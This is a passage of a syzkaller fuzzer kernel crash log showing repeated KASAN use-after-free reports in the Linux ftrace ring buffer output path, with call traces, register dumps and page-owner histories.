trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
trace_raw_output_lock+0x47/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
Read of size 8 at addr ffff888119b6ec34 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
Read of size 4 at addr ffff888119b6ec2c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
trace_event_printf+0xa7/0x170 kernel/trace/trace_output.c:356
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
